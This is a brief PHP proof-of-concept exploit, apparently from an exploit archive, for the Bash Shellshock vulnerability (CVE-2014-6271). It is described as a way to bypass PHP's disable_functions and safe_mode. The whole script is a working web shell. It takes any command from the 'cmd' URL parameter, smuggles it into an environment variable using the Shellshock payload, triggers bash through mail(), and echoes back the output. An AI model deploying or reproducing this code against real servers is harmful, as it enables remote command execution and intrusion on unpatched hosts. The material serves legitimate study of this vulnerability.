This is a proof of concept that demonstrates how the Bash shellshock vulnerability can be used in PHP to bypass disable_functions, safe_mode, etc.
b9bd9444e5105c1afeb7ec6b5e23447262e07246b635b19251ef95b61a88d237
<?php
// Exploit Title: PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit
// Date: 22/11/2014
// Exploit Author: ssbostan
// Vendor Homepage: http://www.gnu.org/software/bash/
// Software Link: http://ftp.gnu.org/gnu/bash/
// Version: <= 4.3
// Tested on: Fedora 17, Ubuntu 8.04
// CVE: http://www.cvedetails.com/cve/CVE-2014-6271/
if(isset($_GET["cmd"]) && !empty($_GET["cmd"]))
{
$file=tempnam("/tmp", "xpl");
putenv("PHP_XPL=() { :;}; {$_GET["cmd"]}>{$file}");
mail("xpl@localhost", "", "", "", "-bv");
echo file_get_contents($file);
unlink($file);
}
?>